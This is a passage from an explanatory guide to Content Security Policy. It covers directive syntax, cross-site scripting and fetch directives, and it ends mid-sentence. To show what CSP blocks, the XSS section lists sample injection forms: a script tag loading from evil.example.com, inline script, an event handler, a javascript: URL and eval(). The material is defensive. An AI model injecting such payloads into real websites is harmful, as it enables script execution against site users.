Content Security Policy (CSP)

CSP overview

A CSP should be delivered to the browser in the Content-Security-Policy response header. It should be set on all responses to all requests, not just the main document.

You can also specify it using the http-equiv attribute of your document's <meta> element, and this is a useful option for some use cases, such as a client-side-rendered single page app which has only static resources, because you can then avoid relying on any server infrastructure. However, this option does not support all CSP features.

The policy is specified as a series of directives, separated by semi-colons. Each directive controls a different aspect of the security policy. Each directive has a name, followed by a space, followed by a value. Different directives can have different syntaxes.

For example, consider the following CSP:

Content-Security-Policy: default-src 'self'; img-src 'self' example.com

It sets two directives:

• the default-src directive is set to 'self'
• the img-src directive is set to 'self' example.com.

The first directive, default-src, tells the browser to load only resources that are same-origin with the document, unless other more specific directives set a different policy for other resource types. The second, img-src, tells the browser to load images that are same-origin or that are served from example.com.

In the next section, we'll look at the tools available to control resource loads, which is the main function of a CSP.

Controlling resource loading

A CSP can be used to control the resources that a document is allowed to load. This is primarily used for protection against cross-site scripting (XSS) attacks.

In this section we'll first see how controlling resource loads can help protect against XSS, then at the tools CSP provides to control what resources are loaded. Finally we'll describe one particular recommended strategy, which is called a "Strict CSP".

XSS and resource loading

A cross-site scripting (XSS) attack is one in which an attacker is able to execute their code in the context of the target website. This code is then able to do anything that the website's own code could do, including, for example:

• access or modify the content of the site's loaded pages
• access or modify content in local storage
• make HTTP requests with the user's credentials, enabling them to impersonate the user or access sensitive data

An XSS attack is possible when a website accepts some input which might have been crafted by an attacker (for example, URL parameters, or a comment on a blog post) and then includes it in the page without sanitizing it: that is, without ensuring that it can't be executed as JavaScript.

Websites should protect themselves against XSS by sanitizing this input before including it in the page.

If sanitization fails, there are various forms the injected malicious code can take in the document, including:

• A <script> tag that links to a malicious source:

  html

  <script src="https://evil.example.com/hacker.js"></script>
  

• A <script> tag that includes inline JavaScript:

  html

  <script>
    console.log("You've been hacked!");
  </script>
  

• An inline event handler:

  html

  <img
    onmouseover="console.log(`You've been hacked!`)"
    src="thumbnail.jpg"
    alt="" />
  

• A javascript: URL:

  html

  <iframe src="javascript:console.log(`You've been hacked!`)"></iframe>
  

• A string argument to an unsafe API like eval():

  js

  eval("console.log(`You've been hacked!`)");
  

By controlling resource loading, a CSP can provide protection against all of these. With a CSP, you can:

• define the permitted sources for JavaScript files and other resources, effectively blocking loads from https://evil.example.com
• disable inline script tags
• allow only script tags which have the correct nonce or hash set
• disable inline event handlers
• disable javascript: URLs
• disable dangerous APIs like eval()

In the next section we'll go over the tools CSP provides to do these things.

Fetch directives

Fetch directives are used to specify a particular category of resource that a document is allowed to load — such as JavaScript, CSS stylesheets, images, fonts, and so on.

There are different fetch directives for different types of resource. For example:

• script-src sets allowed sources for JavaScript.
• style-src sets allowed sources for CSS stylesheets.
• img-src sets allowed sources for images.

One special fetch directive is default-src, which sets a fallback policy for all resources whose directives are not explicitly listed.

For the complete set of fetch directives, see the reference documentation.

Each fetch directive is specified as either the single keyword 'none' or one or more source expressions, separated by spaces. When more than one source expression is listed: if any of the methods allow the resource, then the resource is allowed.

For example, the CSP below sets two fetch directives:

• default-src is given the single source expression 'self'
• img-src is given two source expressions: 'self' and example.com

The effect of this is that:

• images must be either same-origin with the document, or loaded from example.com
• all other resources must be same-origin with the document.

In the next few sections we'll describe some of the ways you can use source expressions to control resource loads. Note that although we're describing them separately, these expressions can in general be combined: for example, a single fetch directive may include nonces as well as hostnames.

Blocking resources

To block a resource type entirely, use the 'none' keyword. For example, the following directive blocks all <object> and